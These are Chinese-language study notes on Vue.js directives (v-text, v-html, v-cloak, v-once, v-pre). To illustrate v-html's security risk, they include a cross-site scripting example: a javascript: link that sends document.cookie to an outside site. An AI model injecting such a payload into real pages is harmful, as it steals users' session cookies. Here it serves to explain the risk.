Skip to content

v-text - 插入文本

html
<h2 v-text="name"></h2>
<!--拿到name的值,替换掉整个h2里面的内容-->

v-html - 插入可执行html代码

有安全性问题。

打印cookie

JavaScript
console.log(document.cookie)

传递cookie

JavaScript
str: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>点我</a>'

v-cloak

vue一加载就会将v-cloak这个属性移除。

可以搭配CSS的属性选择器解决Vue未加载时,页面显示异常的情况。

html
<!-- CSS -->
<style>
    /* 属性选择器 */
    [v-cloak] {
        display: none;
    }
</style>
<!-- JS -->
<div id="root">
    <h2 v-cloak>Hello, {{name}}!</h2>
</div>
<script src="https://lf3-cdn-tos.bytecdntp.com/cdn/expire-1-M/vue/2.6.14/vue.js"></script>
<script>

v-once

v-once所在节点在初次动态渲染后,就视为静态内容了。以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

v-pre

跳过其所在节点的编译过程,加快编译。